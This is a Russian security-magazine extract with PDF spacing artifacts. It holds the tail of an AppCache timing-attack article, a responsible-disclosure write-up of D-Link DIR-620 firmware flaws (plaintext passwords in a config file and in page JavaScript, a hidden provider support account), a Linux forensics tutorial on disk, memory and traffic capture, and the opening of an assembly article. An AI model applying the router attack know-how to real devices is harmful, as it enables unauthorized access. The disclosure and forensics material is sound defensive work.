На конец,  каж дый из этих манифес тов  ука зыва ет в раз деле    тот  самый
URL, который надо зон дировать.

CACHE

Ско рость  ата ки  зависит  от  бра узе ра. В Chrome,  Internet  Explorer  и Opera
она  выпол няет ся  доволь но  рез во,  пос коль ку  в  них  манифес ты  AppCache
обра баты вают ся  парал лель но.  Тог да  как  Firefox  обра баты вает  манифес ты
пос ледова тель но.  Нап ример,  на  ПК  сред ней  кон фигура ции  парал лель ная
ата ка на двес ти стра ниц занима ет в бра узе рах Chrome и Opera 0,11 секун ды,
в Internet Explorer — 0,27 секун ды, в Firefox — 0,95 секун ды.

ИТОГИ
Те перь ты зна ешь,  как при помощи AppCache зло умыш ленник может извле‐ 
кать твою кон фиден циаль ную информа цию, кос венно хра нящу юся в бра узе‐ 
ре.  Лишить  его  такой  воз можнос ти  очень  неп росто.  Раду ет  толь ко  то,  что
механизм AppCache пос тепен но утра чива ет свою популяр ность.

http://stats.hackmag.com/pdf/vladimir.tech@mail.ru
https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0
https://developer.mozilla.org/ru/docs/Web/HTTP/CORS
https://ru.wikipedia.org/wiki/NoScript
http://crypto.stanford.edu/~dabo/papers/webtiming.pdf
https://ieeexplore.ieee.org/document/6879050/
https://booksc.xyz/book/45298422/0e3ade
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ВЗЛОМ

Го ворят, если у тебя в руках молоток, то все
вок руг  похоже  на  гвоздь.  Инс тру мен ты
для  ана лиза  защищен ности  про шивок
в  этом  пла не  ничем  не  хуже  молот ка.
Однажды  мне  дос тался  от  про вай дера
роутер D‐Link DIR‐620, который я начал изу‐ 
чать  ради  инте реса.  И  чем  даль ше  я
углублял ся  в  это,  тем  страш нее  мне  ста‐ 
нови лось за тех, кто поль зует ся таким обо‐ 
рудо вани ем  и  не  задумы вает ся  о  его
безопас ности.

В прош лом году я обна ружил серию уяз вимос тей в DIR‐620 RevG и отпра вил
про изво дите лю  репорт  —    ты  можешь  най ти  в  моем  бло ге.
Некото рые из дыр про шив ки — кри тичес кие, нап ример зашитые в нее админ‐ 
ские  учет ки  для  веб‐панели  и  Telnet.  Эти  уяз вимос ти  теперь  извес тны
как   и  .

ин форма цию

CVE‐2018‐6213 CVE‐2018‐6210
Но я решил не оста нав ливать ся на дос тигну том и пос мотреть, что еще мне

под кинул  про вай дер  вмес те  с  роуте ром.  В  резуль тате  уда лось  обна ружить
пару новых багов — не менее кри тич ных, чем пре дыду щие. Пос тара юсь рас‐ 
ска зать не толь ко о самих уяз вимос тях, но и о  том,  как я их искал, что бы ты
мог  пов торить  то  же  с  дру гой  моделью  роуте ра.  И  конеч но,  моя  цель  —
не толь ко най ти сла бое мес то роуте ра, но и помочь про изво дите лям железа
сде лать свои про дук ты безопас нее.

WARNING

Све дения об опи сан ных в матери але уяз вимос тях
были сво евре мен но пре дос тавле ны всем ответс‐ 
твен ным  лицам. Мы  пуб лику ем  эту  информа цию
в  соот ветс твии  с  общепри нятой  полити кой  раз‐ 
гла шения уяз вимос тей. Одна ко в свя зи с тем, что
боль шое  количес тво  устрой ств  находят ся  в  зоне
рис ка, мы не будем рас кры вать пол ную информа‐ 
цию  и  най ден ные  учет ные  записи.  Дан ный
матери ал  пуб лику ется  исклю читель но  в  обра‐ 
зова тель ных целях и для того, что бы обе зопа сить
поль зовате лей уяз вимых устрой ств.

НАЧИНАЕМ ИССЛЕДОВАНИЕ
Пос коль ку D‐Link DIR‐620 дос тался мне совер шенно слу чай но, на его мес те
мог ла быть любая дру гая модель, а най ден ные уяз вимос ти харак терны и для
дру гих клас сов устрой ств — сис тем DVR, виде оре гис тра торов и про чих гад‐ 
жетов. Кста ти, проб лемы с DVR мы   в пре дыду щей статье.раз бирали

Преж де  чем  начинать  иссле дова ние,  сто ит  заранее  оце нить  мас шта бы
потен циаль ных проб лем и заг лянуть в поис ковые сис темы. К при меру, мож но
уви деть, что геог рафия рас простра нения устрой ства скон цен три рова на пре‐ 
иму щес твен но в Рос сии и стра нах СНГ.

Объ ект иссле дова ния — D‐Link DIR‐620

Что бы  най ти  устрой ства  с  нуж ной  вер сией  про шив ки,  сто ит  исполь зовать
как мож но более точ ные фин гер прин ты соф та — бан неры и вер сии сер висов,
уни каль ные  стро ковые  ком бинации  в  веб‐панелях  управле ния  и  подоб ное.
Дру гими  сло вами,  любые  уни каль ные  харак терис тики  и  их  совокуп ность,
которые ука жут поис ковику на нуж ный софт сре ди тон ны похожих про шивок.

Уяз вимос ти и зашитые учет ные записи объ екта моего иссле дова ния были
обна руже ны в про шив ке вер сии 1.0.37. В нас тоящее вре мя сущес тву ет более
све жая про шив ка 2.0.22, в которой эти баги отсутс тву ют. Одна ко при некор‐ 
рек тном  обновле нии  со  ста рой  вер сии  про шив ки  на  пос леднюю  некото рые
из проб лем оста нут ся.

РАСКРЫТИЕ ЧУВСТВИТЕЛЬНОЙ ИНФОРМАЦИИ
В КОНФИГУРАЦИОННОМ ФАЙЛЕ

   
 7.5 

 (AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)

CVE: CVE‐2018‐12677
CVSS Base Score:

Век тор:

Этот  недос таток  кон фигура ции  —  отличный  при мер  того,  как  связ ка
из несущес твен ных косяков может при вес ти к уяз вимос ти. Если исполь зовать
уяз вимость  внед рения  кода  (OS  command  injection,  )  из  пре‐ 
дыду щего матери ала,  то у ата кующе го появ ляет ся воз можность читать фай‐ 
лы. А это откры вает воз можность изу чить внут реннос ти запущен ной про шив‐ 
ки. Как ты понима ешь, про шив ка инте рес на тем, что содер жит в себе все вре‐ 
мен ные фай лы и вре мен ную информа цию, которую ты не най дешь в ста тике.

CVE‐2018‐6211

Как  ока залось,  в  про цес се  работы  соз дает ся  кон фигура цион ный  файл
,  который  содер жит  все  учет ные  дан ные  поль зовате ля

в откры том виде. Бег лый осмотр это го фай ла показы вает, что там скла дыва‐ 
ются  бук валь но  все  нас трой ки,  которые  затем  под тягива ются  раз личны ми
сер висами про шив ки. Поэто му при получе нии дос тупа к запущен ной про шив‐ 
ке в пер вую оче редь ищи все вре мен ные фай лы и дирек тории.

tmp/config.json

Баг не очень‐то серь езный, если учесть, что ата кующий дол жен иметь пра‐ 
ва  при виле гиро ван ного  поль зовате ля.  Одна ко  эта  воз можность  хорошо
помога ет в экс плу ата ции сле дующей уяз вимос ти.

РАСКРЫТИЕ ЧУВСТВИТЕЛЬНОЙ ИНФОРМАЦИИ ДЛЯ
НЕПРИВИЛЕГИРОВАННОГО ПОЛЬЗОВАТЕЛЯ

   
 7.5 

 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVE: CVE‐2018‐12419
CVSS Base Score:

Век тор:

Вто рую  уяз вимость  я  нашел  совер шенно  слу чай но:  открыл  веб‐стра ницу
аутен тифика ции, пос мотрел ее исходный код и уви дел избы точ ную информа‐ 
цию со стро ками, напоми нающи ми пароли. Вся эта информа ция напом нила
фор мат  пред став ления  кон фигура цион ного  фай ла,  который  я  нашел  ранее
во вре мен ной дирек тории.

Как ока залось, уяз вимость   рас кры вает все пароли поль‐ 
зовате лей про шив ки в кон фигура цион ном фай ле, та, на которую я нат кнул ся,
под тягива ет  часть  это го  фай ла  в  перемен ную  JavaScript.  И  это  дает  воз‐ 
можность  неав торизо ван ному  поль зовате лю  прос матри вать  фраг мент
содер жимого  фай ла  без  дос тупа  в  админку.  При  этом  фраг мент  содер жит
чувс тви тель ную  к  раз гла шению  информа цию:  пароли  в  откры том  виде
и парамет ры кон фигура ции.

CVE‐2018‐12677

Фраг мент перемен ной, которая находит ся на глав ной веб‐стра нице
админ ской панели роуте ра

«ЗАШИТЫЕ» УЧЕТНЫЕ ДАННЫЕ ДЛЯ ВЕБ-ПАНЕЛИ УПРАВЛЕНИЯ
   

 10.0 
 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVE: CVE‐2018‐12676
CVSS Base Score:

Век тор:

И сно ва  вер немся  к  пер вой  уяз вимос ти,  которая  рас кры вает  кон фигура‐ 
цион ный файл. Пос ле его неп родол житель ного ана лиза мож но най ти стран‐ 
ную учет ную запись, которую поль зователь точ но не соз давал. Про ще все го
про бежать ся  по  рас пакован ной  про шив ке  (или  по  ее  дам пу)  каким‐нибудь
пар сером.  Нап ример,    поз воля ет  про верить  содер жимое  дам па
на наличие инте рес ной информа ции:  строк  с  пароля ми,  сер тифика тов,  кон‐ 
фигура цион ных  фай лов  и  про чего.  Одна ко  в  моем  слу чае  никаких  тулз
не  понадо билось —  все  учет ки  береж но  скла дыва лись  в  тот  же  вре мен ный
файл с кон фигом.

Firmwalker

Сре ди  спис ка  уче ток  пря чет ся  запись  с  име нем  поль зовате ля,  которое
начина ется  со  сло ва  .  Как  выяс нилось  поз же,  этот  акка унт  пред‐ 
назна чен  для  нужд  служ бы  под дер жки  про вай дера.  Исполь зуя  эту  учет ную
запись,  ата кующий  может  получить  адми нис тра тив ный  дос туп  к  панели
управле ния роуте ром.

support

Стран ная учет ная запись в кон фигура цион ном фай ле

КАК СЕБЯ ОБЕЗОПАСИТЬ
Что бы  испра вить  опи сан ные  уяз вимос ти,  вла дель цу  DIR‐620  необ ходимо
обно вить про шив ку до пос ледней вер сии, на момент написа ния этой статьи
дос тупна  вер сия  2.0.22.  При  этом  сто ит  иметь  в  виду,  что  пос ле  миг рации
с  уяз вимой  вер сии  про шив ки  на  пос леднюю  кон фигура цион ный  файл
с  зашитым акка унтом  тоже миг риру ет  в  новую про шив ку. Имен но поэто му  я
рекомен дую выпол нить сле дующие шаги:

об новить про шив ку до пос ледней вер сии (2.0.22);•
сбро сить нас трой ки роуте ра до завод ских;•
зап ретить любой дос туп к веб‐панели управле ния, исполь зуя белый спи‐ 
сок IP‐адре сов;

•

зап ретить любой дос туп по про токо лу Telnet;•
ре гуляр но менять пароли для учет ных записей.•

mailto:condifesa@gmail.com
https://makrushin.com/dlink-dir-vulnerabilities/
https://nvd.nist.gov/vuln/detail/CVE-2018-6213
https://nvd.nist.gov/vuln/detail/CVE-2018-6210
https://xakep.ru/2018/10/10/nvr/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-12677
https://nvd.nist.gov/vuln/detail/CVE-2018-6211
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-12419
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-12677
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-12676
https://github.com/craigz28/firmwalker


В LINUX
ФОРЕНЗИКА

ДАМПИМ ПАМЯТЬ, ДИСКИ
И СЕТЕВЫЕ КОННЕКТЫ

ДЛЯ ДАЛЬНЕЙШЕГО ПОИСКА УЛИК

Иван Пискунов

ПРИВАТНОСТЬ

Пер вая  задача  в  циф ровой  кри мина лис тике —  это  сбор  информа ции,  кон‐ 
крет но — получе ние обра зов жес тких дис ков и опе ратив ной памяти, а так же,
если это может помочь, дам пов сетевых соеди нений. В этой статье мы пос‐ 
мотрим,  что  нуж но  сде лать  для  получе ния  все го  это го  на  машинах  с  Linux,
а заод но научим ся и дру гим полез ным навыкам.

Это новая часть цик ла по форен зике для нович ков, в котором мы рас ска зыва‐ 
ем о  том, что  такое циф ровая форен зика, раз бира ем наибо лее популяр ные
инс тру мен ты  ана лиза,  изу чаем  нес коль ко  кей сов  на  устрой ствах  с  Android
и рас сле дуем хищение денеж ных средств из сис темы ДБО на ноут буке с Win‐
dows 10.

Пре дыду щие статьи цик ла:
1. « »Те ория, кни ги, кур сы, полез ные матери алы
2. « »На ходим источни ки дан ных, ищем и ана лизи руем арте фак ты
3. « »Android под кол паком. Как рас кры вают кей сы взло ма
4. «

»
Тай на  каз начей ско го  ноут бука.  Исполь зуем  форен зику,  что бы  рас крыть
ограбле ние

Есть мно го вари антов соз дания дам па содер жимого жес тко го дис ка или опе‐ 
ратив ной  памяти.  При  этом  мож но  исполь зовать  и  ,  вхо‐ 
дящие в сос тав дис три бути ва, и сто рон ние прог раммы — как со сво бод ной
лицен зией, так и ком мерчес кие. Я по воз можнос ти сос редото чусь на наибо‐ 
лее извес тных, мак сималь но прос тых и рабочих инс тру мен тах.

на тив ные  ути литы

Пер вым  делом  на  «живые»  сис темы  я  рекомен дую  ста вить  ути литу
 — с ее помощью мож но получить деталь ные све дения об изме нени ях

сис темы в режиме ауди та.
Auditd

Преж де все го нас будут инте ресо вать такие события, как:
за пуск и завер шение работы сис темы (перезаг рузка, оста нов ка);•
чте ние/запись сис темных фай лов и изме нение прав дос тупа к ним;•
ини циация сетево го соеди нения и изме нение сетевых нас тро ек;•
из менение информа ции о поль зовате ле или груп пе;•
из менение даты и вре мени;•
ус танов ка, уда ление, запуск и оста нов ка прог рамм и демонов;•
вы пол нение сис темных вызовов.•

Так же  рекомен дую  нас тро ить  сис темный    и  скор ректи ровать
пра вила  сбо ра  сооб щений:  уве личить  глу бину  собира емых  алер тов  (уро‐ 
вень 7) и пул источни ков (диапа зон от 0 до 15). Это все поз волит наб людать
за изме нени ями сис темы в реаль ном вре мени.

syslog.conf

НЕКОТОРЫЕ ОСОБЕННОСТИ ФОРЕНЗИКИ В LINUX
В  ,  которая  была  пос вящена  кей су  с  хищени ем  денеж ных
средств в ДБО на Windows 10, мы по воз можнос ти исполь зовали в качес тве
инс тру мен тария  прог раммы  с  гра фичес ким  интерфей сом.  Если  не  брать
проп риетар ные решения, такие, к при меру, как   или 

,  то  на  Linux  боль шинс тво  рабочих  ути лит  идет  в  режиме
коман дной стро ки.

прош лой  статье

EnCase Forensic Belkasoft
Evidence  Center

Ис поль зование тес товых команд сущес твен но эко номит вре мя на манипу‐ 
ляции  с  соф том,  но,  с  дру гой  сто роны,  может  ока зать ся  слиш ком  слож ным
для нович ков. Одна ко форен зикой нович ки обыч но и не занима ются! :‐D

По мимо  отдель ных  ути лит,  есть  целые  дис три бути вы,  пред назна чен ные
для циф ровой кри мина лис тики. Это преж де все го  ,  , 

,  , ну и, конеч но же, всем извес тный  . Пол ный обзор дис три‐ 
бути вов  и  тул китов  для  форен зики  мож но  про читать  в  статье  «

».

DEFT CAINE Sumuri PAL‐
ADIN Helix Kali Linux

Тул кит
для форен зики. Выбира ем дис три бутив и набор соф та для кри мина лис тичес‐ 
кого ана лиза

Из  литера туры  по форен зике  в  Linux  я  бы  в  пер вую оче редь  пореко мен‐ 
довал  едва  ли  не  единс твен ную  пол ноцен ную  кни гу  об  этом.  Ее  написал
Филип Полс тра, а называ ется она  . Во вто рую оче‐ 
редь — изда ние   Кри са Пога и дру‐ 
гих. Ну и в‐треть их,  .

Linux Forensics Paperback
UNIX and Linux Forensic Analysis DVD Toolkit
Digital Forensics with Kali Linux

ОБЩИЙ ЧЕК-ЛИСТ ПРОВЕРКИ
Для  поис ка  и  сбо ра  кри мина лис тичес ких  доказа тель ств  мы  пер вым  делом
соз дадим обра зы (дам пы) сле дующих объ ектов наших сис тем:

опе ратив ная  память  (сис темные  и  поль зователь ские  про цес сы,  демоны,
воз можно запущен ный вре донос ный код и так далее);

•

жес ткий диск  (посек торная  копия HDD,  вклю чающая  уда лен ные раз делы,
нераз мечен ные области дис ка, потер тые фай лы, скры тые фай лы и дирек‐ 
тории и про чее);

•

се тевой  стек  (под нятые  кон некты,  откры тые  пор ты,  «неиз вес тные»  сер‐ 
висы на пор тах, паразит ный тра фик).

•

В  рам ках  самой  опе раци онной  сис темы  мы  будем  обра щать  осо бое  вни‐ 
мание в пер вую оче редь:

на спи сок поль зовате лей, груп пы, при виле гии;•
за пущен ные от име ни root про цес сы;•
за дачи, запус каемые по рас писанию (cron jobs);•
фай лы с уста нов ленным битом  ;• SUID и SGID
сос тав фай ла  ;• /etc/sudoers
скры тые фай лы и дирек тории;•
фай лы, откры тые на чте ние в сис теме;•
се тевые интерфей сы, соеди нения, пор ты, таб лицу мар шру тиза ции;•
ло ги iptables, fail2ban (Reports, Alarms, Alerts);•
кон фигура цию  ;• /etc/ssh/sshd_config

ло ги демона Syslog (про верим на  );• ти пич ные алер ты
сос тояние SELinux;•
спи сок заг ружен ных модулей ядра.•

Ну  и  в  качес тве  допол нитель ной  опции  мож но  соб рать  кон троль ные  сум мы
с основных сис темных фай лов  (к  при меру,  ути литой  ),  а поз же срав‐ 
нить их с эта лон ными зна чени ями в исходном дис три бути ве. Но этот про цесс
весь ма нет риви ален и  тре бует боль шого запаса вре мени и нер вных  кле ток.
Поэто му под робнос ти мы любез но опус тим.

TripWire

Пос коль ку железо, на котором кру тит ся вся фер ма, находит ся в надеж ном
дата‐цен тре,  сра зу  отме тает ся  поиск  арте фак тов,  свя зан ных  с 

,  локаль но  смон тирован ными  устрой ства ми  и  под клю чен ными  по  USB
девай сами.

се тевой ФС
(NFS)

WARNING

Всег да  хорошо  обду мывай,  какое  имен но  дей‐ 
ствие  и  для  какой  цели  ты  дела ешь. Неп равиль‐ 
ное  исполь зование  при веден ных  в  тек сте  статьи
прог рамм может при вес ти к потере информа ции
(арте фак тов)  или  иска жению  получен ных  дан ных
(кри мина лис тичес ких  доказа тель ств).  Ни  автор,
ни  редак ция  не  несут  ответс твен ности  за  любой
ущерб,  при чинен ный  при  неп равиль ном  исполь‐ 
зовании матери ала дан ной статьи.

СНИМАЕМ ОБРАЗ HDD
По сек торную  копию  жес тко го  дис ка  впол не  мож но  снять,  не  при бегая
к допол нитель ным ути литам. Мы будем исполь зовать ста рую и про верен ную
в  работе  натив ную  тул зу  .  Она  поз воля ет  соз давать  точ ные  побито вые
копии — как целых дис ков, так и отдель ных раз делов и даже прос то фай лов.

dd

WARNING

Сня тие  обра зов  дис ков  и  работа  с  ними  штат‐ 
ными средс тва ми сис темы может при вес ти к неп‐ 
редна мерен ной  записи,  что  в  серь езной  кри‐ 
мина лис тике  исклю чено.  Под робнос ти  читай
в  статье  « »  (раз дел  «

»).  Исполь зуй  коман ды
ниже,  толь ко  если  счи таешь,  что  в  тво ем  слу чае
это допус тимо.

Тул кит  для  форен зики Как
не  нас ледить  сле допы ту

Но пер воначаль но зап росим у сис темы пол ный спи сок раз делов с помощью
коман ды  :fdisk

$ fdisk ‐l

Прос мотр спис ка фай ловых сис тем

Ба зовый син таксис dd выг лядит так:

$ dd if=<source> of=<destination> bs=<byte size>

К при меру, для соз дания копии HDD с раз мером клас тера 512 байт:

$ dd if=/dev/sda1 of=/dev/sdb1 bs=512

В  про цес се  копиро вания  HDD  могут  быть  пов режден ные  сек тора.  Что бы
прог рамма  не  спо тыка лась  о  них  и  не  оста нав ливала  работу,  необ ходимо
добавить допол нитель ный ключ  :-noerror

$ dd if=/dev/sda1 of=/dev/sdb1 bs=512 noerror

Ре зуль тат работы ути литы dd

Од нако луч шие мировые прак тики — это исполь зовать усо вер шенс тво ван ный
вари ант пре дыду щей ути литы под наз вани ем  . Эта тул за раз работа на
в  компь ютер ной  судеб ной  лабора тории    и  име ет  ряд  спе циаль ных
опций для сня тия дам пов с целью кри мина лис тичес кого ана лиза. Нап ример,
dcfldd  уме ет  хеширо вать  копиру емые  дан ные  и  про верять  их  целос тность.
По  ходу  дела  отоб ража ется  прог ресс  соз дания  дам па,  дей ствия  заносят ся
в лог, а кон троль ные сум мы MD5 сох раня ются в отдель ный файл.

dcfldd

DCFL

При мер выпол нения коман ды:

$ dcfldd if=/dev/sda1 hash=md5 of=/media/forensic_disk_image.dd bs=
512 noerror

Ре зуль тат работы ути литы dcfldd

Вмес то кон соли при желании мож но поль зовать ся гра фичес кой вер сией уже
извес тной нам по прош лой статье ути литы  .FTK

ДЕЛАЕМ ДАМП ОПЕРАТИВНОЙ ПАМЯТИ
Как и в слу чае с жес тким дис ком, сущес тву ет нес коль ко спо собов решить эту
задачу. Сре ди вари антов:

ис поль зование натив ного модуля ядра   ( );• Linux Memory Extractor LiME
скрипт  ,  который  не  тре бует  уста нов ки  и  который
мож но запус кать, к при меру, с флеш ки;

• Linux  Memory  Grabber

связ ка ути лит  , которые вхо дят в пакет  . Их‐то я и буду
исполь зовать.

• lmap и pmem Rekall

Па ра  слов  о  .  Это  отдель ная  ветвь  раз вития  извес тно го  фрей мвор ка
, которая написа на на Python и пред назна чена спе циаль но

для вклю чения в форен зик‐дис три бути вы, работа ющие с Live CD.

Rekall
Volatility Framework

Пе рехо дим в каталог с тул зой и собира ем ее из исходни ков:

$ cd rekall/tools/linux/
$ make

Гру зим драй вер ядра   в опе ратив ную память:pmem.ko

$ sudo insmod pmem.ko

Про веря ем ини циали зацию драй вера:

$ sudo lsmod

Пос ле это го драй вер соз дает файл‐кон тей нер под наш будущий образ RAM:
./dev/pmem

Те перь с помощью все той же ути литы dd соз даем сам образ опе ратив ной
памяти сис темы:

$ dd if=/dev/pmem of=forensic_RAM_image.raw

Ну и пос ле завер шения работы выг ружа ем драй вер:

$ rmmod pmem

Де ло сде лано!

СЕТЕВОЙ ТРАФИК НА АНАЛИЗ
Здесь  в  ходу  нес коль ко  ути лит:  преж де  все го —  кон соль ная  ,  клас‐ 
сика  жан ра    и  опен сор сный  фрей мворк  ,  хотя  пос ледний
боль ше  исполь зует ся  для  пос леду юще го  ана лиза  дан ных,  чем  для  их  пер‐ 
воначаль ного сбо ра. Для тех, кто рань ше не стал кивал ся с эти ми прог рамма‐ 
ми, у нас есть неп лохие обу чающие статьи по ним: «

»  и  «
».

tcpdump
Wireshark XPLICO

Про водим аудит сетево го
тра фика  с  помощью  tcpdump Как  исполь зовать  воз можнос ти  филь тров
отоб ражения Wireshark по мак симуму

Нач нем с  . Базовый вызов коман ды выг лядит сле дующим обра‐ 
зом:

tcpdump

$ tcpdump <опции> <фильтр>

А вот некото рые наибо лее важ ные опции:
  —  зада ет  интерфейс,  с  которо го  необ ходимо  ана лизи‐ 

ровать тра фик;
• i  интерфейс

 — отклю чает пре обра зова ние IP в домен ные име на;• n

 — вклю чает вывод дан ных каналь ного уров ня (нап ример, MAC‐адре са);• e

 — вывод допол нитель ной информа ции (TTL, опции IP);• v

  —  зада ет  имя  фай ла,  в  который  нуж но  сох ранять  соб‐ 
ранную информа цию (дамп);

• w  имя_файла

 — чте ние (заг рузка) дам па из задан ного фай ла;• r имя_файла

 — перево дит tcpdump в «бес шумный режим», в котором пакет ана лизи‐ 
рует ся  на  тран спортном  уров не  (про токо лы  TCP,  UDP,  ICMP),  а  не
на сетевом (про токол IP).

• q

Дам пим весь вхо дящий тра фик, иду щий из интерне та на наш сер вер:

$ tcpdump ‐s 0 ‐i eth0 ‐n ‐nn ‐ttt dst host <ip‐адрес нашего хоста> 
‐w forensic_cap.pcap

При мер  соз дания  дам па  сетево го  тра фика  по  про токо лам  FTP  или  SSH
на интерфей се eth0:

$ tcpdump ‐s 0 port ftp or ssh ‐i eth0 ‐w forensic_cap.pcap

Дам пим вооб ще все, что идет на интерфейс eth0:

$ tcpdump ‐w forensic_cap ‐i eth0

Ре зуль тат работы tcpdump

Еде  одна  год ная  для  наших  целей  ути лита  —  это  .  По  сути,  более
прод винутый вари ант tcpdump, который под держи вает еще боль ше парамет‐ 
ров филь тра ции и воз можность вос ста нав ливать «сло ман ные» пакеты.

TCPflow

Ес ли  TCPflow  по  умол чанию  нет  в  сис теме,  то  для  начала  ставь  пакет
.tcpflow

Да лее базовый син таксис коман ды выг лядит так:

$ tcpflow [опции] [выражение] [хост]

А вот опи сание опций:
 — толь ко кон соль ная печать (не соз давать фай лы);• c

 — уро вень отладки (по умол чанию 1);• d

  —  выводить  каж дый  поток  череду ющи мися  цве тами  (синий  —  кли‐ 
ент‐сер вер, крас ный — сер вер‐кли ент, зеленый — неиз вес тно);

• e

 — сетевой интерфейс для прос лушива ния;• i

 — чте ние пакетов из выход ного фай ла tcpdump;• r

 — уда лить непеча таемые сим волы (будут заменять ся точ ками).• s

При мер сбо ра дан ных, иду щих из внеш ней сети на наш сер вер:

$ tcpflow ‐ce host  <IP‐адрес нашего хоста>

Со бира ем весь тра фик HTTP в нашей сети:

$ tcpflow ‐ce port 80

Дамп дан ных сетево го потока в локаль ную пап ку:

$ mkdir tcpflowdata  
$ cd tcpflowdata  
$ tcpflow host <IP‐адрес целевой машины>

Те перь в дирек торию   будут скла дывать ся фай лы с содер жани‐ 
ем  сетевых  под клю чений.  Все,  что  нам  потом  оста нет ся  сде лать,  —
это переки нуть их для ана лиза в пар сер.

/tcpflowdata

Ре зуль тат работы TCPflow

ПОЛУЧАЕМ ДОСТУП К СОБРАННЫМ ДАННЫМ
Об разы  жес тких  дис ков  и  опе ратив ки  готовы.  Теперь  нам  нуж но  их  смон‐ 
тировать на иссле дова тель ской машине, что бы начать искать и изу чать арте‐ 
фак ты. С обра зом HDD все прос то, выход ной файл, получен ный в резуль тате
работы dd или dcfldd, мож но лег ко под монти ровать как новое устрой ство.

Син таксис коман ды mount выг лядит так:

$ mount ‐o,ro,noatime,loop,offset= <смещение по началу партиции в 
байтах> <имя файла образа> <точка монтирования>

К  при меру,  что бы  смон тировать  ранее  сня тый  дамп  HDD,  нуж но  выпол нить
коман ду

$ mount ‐o,ro,loop forensic_disk_image.dd /mnt/temp/

Об раз  RAM  будем  откры вать  с  помощью  ,  но  об  этом
погово рим чуть ниже, в раз деле «Поиск арте фак тов».

Volatility  Framework

Файл  .pcap  с  дам пом  сетевых  под клю чений  откры вает ся  в  Wireshark
или XPLICO. Но я пред почитаю поль зовать ся сер висами с полу авто мати чес‐ 
ким пар сингом, нап ример  ,   или плат ным  .PacketTotal Pcap Analyzer CloudShark

ДРУГИЕ ПОЛЕЗНЫЕ КОМАНДЫ
Вот нес коль ко команд, которые помогут дособ рать все, что мы мог ли про пус‐ 
тить. Некото рые вещи — прос то на вся кий слу чай, потому что это не зай мет
мно го вре мени.

Мгно вен но получить сос тояние сис темы и основные харак терис -
тики кон фигура ции
#!/bin/bash
dmesg > dmesg.txt
cat /proc/mounts > proc_mounts.txt

// Собираем контрольные суммы со всех смонтированных на текущий 
момент устройств
for p in $(md5sum /proc/mounts /proc/*/mounts | sort | uniq ‐d ‐w 32 
| awk '{print $2}'); do
cat $p > ${p////_};
done

cat /proc/mdstat > proc_mdstat.txt
lspci > lspci.txt
uname ‐a > uname_a.txt
uptime > uptime.txt

Пе ремон тировать все фай ловые сис темы толь ко для чте ния
Для каж дой фай ловой сис темы, которую мы будем ковырять, перемон тиру ем
в режиме  :ro

// set mountpoint

MOUNTPOINT=/home
mount ‐o remount,ro ${MOUNTPOINT}

И соз дадим timestamp или вре мен ную шка лу:

find "${MOUNTPOINT}" ‐xdev ‐print0 | xargs ‐0 stat ‐c "%Y %X %Z %A 
%U %G %n" >> timestamps.dat

По лучить сос тояние сущес тву ющих под клю чений и откры тых
сокетов
// ‐‐verbose ‐‐wide ‐‐extend ‐‐timers ‐‐program ‐‐numeric (‐‐listen
ing)

netstat ‐v ‐W ‐e ‐o ‐p ‐n     > netstat_vWeopn.txt
netstat ‐v ‐W ‐e ‐o ‐p ‐n ‐l  > netstat_vWeopnl.txt

// same without ‐‐numeric
netstat ‐v ‐W ‐e ‐o ‐p        > netstat_vWeop.txt
netstat ‐v ‐W ‐e ‐o ‐p ‐l     > netstat_vWeopl.txt

Те кущий дамп кеша ARP
arp ‐n > arp_n.txt
ip neigh show > ip_neigh_show.txt

Зах ватить сос тояние текущих пра вил сетево го филь тра iptable
// ‐‐verbose ‐‐numeric ‐‐exact ‐‐list ‐‐table
for table in filter nat mangle raw; do iptables ‐v ‐n ‐x ‐L ‐t ${
table} >        iptables_vnxL_t${table}.txt; done
for table in filter mangle raw; do ip6tables ‐n ‐t ${table} ‐L ‐v ‐x 
> ip6tables_nt_${table}.txt; done
for table in filter nat broute; do ebtables ‐t ${table} ‐L ‐‐Lmac2 
‐‐Lc > ebtables_L_Lmac_Lc_t_${table}.txt; done

Дамп ipsets (обыч но исполь зует ся fail2ban и firewalld)
ipset list > ipset_list.txt

Сох ранить таб лицу про цес сов
ps auxwwwe > ps_auxwwwe.txt

Дру гой вари ант с более читабель ным выводом:

pstree ‐a ‐l ‐p ‐u    > pstree_alpu.txt
pstree ‐a ‐l ‐p ‐u ‐Z > pstree_alpuZ.txt

Сох ранить исходное мес тополо жение исполня емо го фай ла по PID
ls ‐l /proc/${PID}/ > proc_${PID}_ls_l.txt
cat /proc/${PID}/exe > proc_${PID}_exe

Пос мотреть все откры тые в сис теме фай лы
Ес ли файл был уда лен, то коман да ls добавит флаг   к име ни фай ла
наз начения. К содер жимому все еще мож но будет получить дос туп, исполь зуя
сим воличес кие  ссыл ки  в  .  Это  час то  помога ет  в  работе
с  вре доно сами,  написан ными  на  интер пре тиру емых  язы ках,  таких  как  Perl
и Python. Поэто му для даль нейше го ана лиза мы сох раним все откры тые фай‐ 
лы:

(deleted)

/proc/${PID}/fd

ls ‐l /proc/${PID}/fd > proc_${PID}_fd.txt

// copy interesting open files, substitute MYFD with file descriptor 
number

MYFD=1234
cat /proc/${PID}/${MYFD}> proc_${PID}_fd_${MYFD}

ВЫВОДЫ
Те перь у нас есть все необ ходимое для даль нейше го ана лиза. В сле дующей,
зак лючитель ной  статье цик ла  я  покажу,  что  делать  с  получен ными дан ными,
что бы най ти в них арте фак ты. А что бы было веселее, я при пас для тебя инте‐ 
рес ный кейс с поис ком заразы,  которая завелась на сер верах  хос тинг‐про‐ 
вай дера. В общем, оста вай ся с нами!
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ВЗЛОМ

За годы хаотич ной эво люции набор команд
ассем бле ра  x86‐64  стал  порож дать  самые
при чуд ливые  сочета ния.  Сегод ня  мы  рас‐ 
смот рим  твор ческий  под ход  к  исполь‐ 
